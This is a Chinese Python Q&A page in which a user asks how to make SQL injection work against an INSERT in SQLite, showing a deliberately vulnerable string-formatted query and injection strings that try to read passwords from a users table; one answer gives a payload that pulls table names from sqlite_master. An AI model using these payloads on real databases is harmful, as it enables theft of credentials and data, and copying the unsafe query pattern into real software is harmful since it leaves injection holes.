Python中文
首页
教程
问答
标签
搜索
登录
注册
如何使INSERT上的SQL注入在SQLite上工作
回答此问题可获得
20
贡献值,回答如果被采纳可获得
50
分。
<p>我不知道如何使SQL注入在SQLite中工作。我正在使用Python中的一个函数,该函数连接到数据库并插入字符串</p> <p>我有“database.db”,它有两个表:“feedback”和“users”。<br/> 反馈表有一列:消息。<br/> 用户表有两列:用户名和密码</p> <pre><code>def send_feedback(feedback): conn = sqlite3.connect("database.db") curs = conn.cursor() curs.execute("INSERT INTO feedback VALUES ('%s')" % (feedback)) print(curs.fetchall()) conn.close() </code></pre> <p>我知道execute函数允许我对数据库进行单个查询,因此我不能使用“;”来 进行多个查询</p> <p>我尝试的是让字符串看起来像这样:</p> <pre><code>a') SELECT password FROM users -- feedback = "INSERT INTO feedback VALUES ('a') SELECT password FROM users --')" </code></pre> <p>但这给了我以下错误:</p> <blockquote> <p>sqlite3.OperationalError: near "SELECT": syntax error</p> </blockquote> <p>所以我尝试使用UNION命令:</p> <pre><code>a') UNION SELECT password FROM users -- feedback = "INSERT INTO feedback VALUES ('a') UNION SELECT password FROM users --')" </code></pre> <p>这个函数可以工作,但是fetchall函数返回一个空列表</p>
0 条评论
分类:
Python问答
请先
登录
后评论
默认排序
时间排序
1 个回答
匿名
1天前
擅长:python、mysql、java
<p>您可以这样做,例如获取表名</p> <pre class="lang-sql prettyprint-override"><code>a' || (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')) - </code></pre>
请先
登录
后评论
针对此问题:
更多的回答
关注
89
关注
收藏
1
收藏,
216
浏览
网友 提问于 2天前
相关Python问题
jupyter运行一个旧的pytorch版本
3 回答
Jupyter运行不同版本的卸载库?
10 回答
Jupyter运行指定的键盘快捷键
4 回答
Jupyter通过.local文件“逃逸”virtualenv。我该如何缓解这种情况?
1 回答
Jupyter重新加载自定义样式
4 回答
Jupyter错误:“没有名为Jupyter_core.paths的模块”
6 回答
jupyter错误:无法在随机林中将决策树视为png
7 回答
Jupyter错误'内核似乎已经死亡,它将自动重新启动'为一个给定的代码块
10 回答
Jupyter错误地用阿拉伯语和字母数字元素显示Python列表
9 回答
Jupyter隐藏数据帧索引,但保留原始样式
10 回答
Jupyter集线器:启动器中出现致命错误。。。系统找不到指定的文件
6 回答
Jupyther中相同值的相同哈希,但导出到Bigquery时不相同
5 回答
Jupy上Python的读/写访问问题
6 回答
jupy上没有模块cv
4 回答
Jupy上的排序错误
5 回答
Jupy中bqplot图形的紧凑布局
5 回答
Jupy中matplotlib plot的连续更新
10 回答
Jupy中Numpy函数的文档
10 回答
Jupy中Pandas的自动完成问题
10 回答
jupy中Qt后端的Matplotlib动画
6 回答